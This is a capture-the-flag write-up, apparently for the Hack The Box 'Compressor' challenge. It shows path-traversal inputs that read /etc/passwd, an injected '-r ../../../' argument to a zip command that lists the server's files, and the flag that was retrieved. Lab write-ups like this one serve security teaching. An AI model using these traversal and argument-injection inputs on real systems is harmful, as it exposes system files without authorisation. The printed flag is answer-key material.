![](https://newyork167.github.io/images/2022/cyber_apocalypse_2022/compressor/1.png)
So we are given an endpoint we can `netcat` into and it presents us with the following:
```shellCompressor[*] Directory to work in: QqcbsvCcKGxpk7n6JNvqNxPB19gC5OiBComponent List:+===============+|               ||  1. Head  ?  ||  2. Torso ?   ||  3. Hands ?  ||  4. Legs  ?   ||               |+===============+[*] Choose component: 1[*] Sub-directory to work in: QqcbsvCcKGxpk7n6JNvqNxPB19gC5OiB/HeadActions:
Create artifactList directory    (pwd; ls -la)Read artifact     (cat ./)Compress artifact (zip .zip  )Change directory  (cd )Clean directory   (rm -rf ./*)Exit```
Let's try reading an artifact and passing it something they didn't intend
```shell[*] Choose action: 3Insert name you want to read: ../../../../etc/passwdroot:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown...ctf:x:1000:1000:1000:/home/ctf:/bin/sh```
Great, so we can read arbitrary files!
```shellActions:
Create artifactList directory    (pwd; ls -la)Read artifact     (cat ./)Compress artifact (zip .zip  )Change directory  (cd )Clean directory   (rm -rf ./*)Exit
[*] Choose action: 1Insert name: ../Insert content: #!/bin/bashTraceback (most recent call last):File "/home/ctf/artifacts.py", line 104, increate_file()File "/home/ctf/artifacts.py", line 74, in create_filef = open(fname, "a")IsADirectoryError: [Errno 21] Is a directory: '../'Actions:
Create artifactList directory    (pwd; ls -la)Read artifact     (cat ./)Compress artifact (zip .zip  )Change directory  (cd )Clean directory   (rm -rf ./*)Exit```
So first thought after this was since we can access filepaths seemingly indiscriminately, lets trying zipping them all up together
```shell[*] Choose action: 4Insert .zip: test.zipInsert : testInsert : -r ../../../adding: test (stored 0%)adding: ../../../ (stored 0%)adding: ../../../ctf/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Head/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Hands/ (stored 0%)adding: ../../../ctf/68ubJQ7pIAFQ3AR5XmnIIyNFlMKU5EXd/Torso/ (stored 0%)...adding: ../../../ctf/F9mZ4CfUW9NVXjEwShKzvoNYhq7DNwIb/Torso/ (stored 0%)adding: ../../../ctf/F9mZ4CfUW9NVXjEwShKzvoNYhq7DNwIb/Legs/ (stored 0%)adding: ../../../ctf/artifacts.py (deflated 63%)adding: ../../../ctf/clear.py (deflated 32%)adding: ../../../ctf/flag.txt (stored 0%)Actions:```
and since it pastes the output we now know where the flag is!
```shellCreate artifactList directory    (pwd; ls -la)Read artifact     (cat ./)Compress artifact (zip .zip  )Change directory  (cd )Clean directory   (rm -rf ./*)Exit
[*] Choose action: 3Insert name you want to read: ../../../ctf/flag.txtHTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}```
`Flag: HTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}`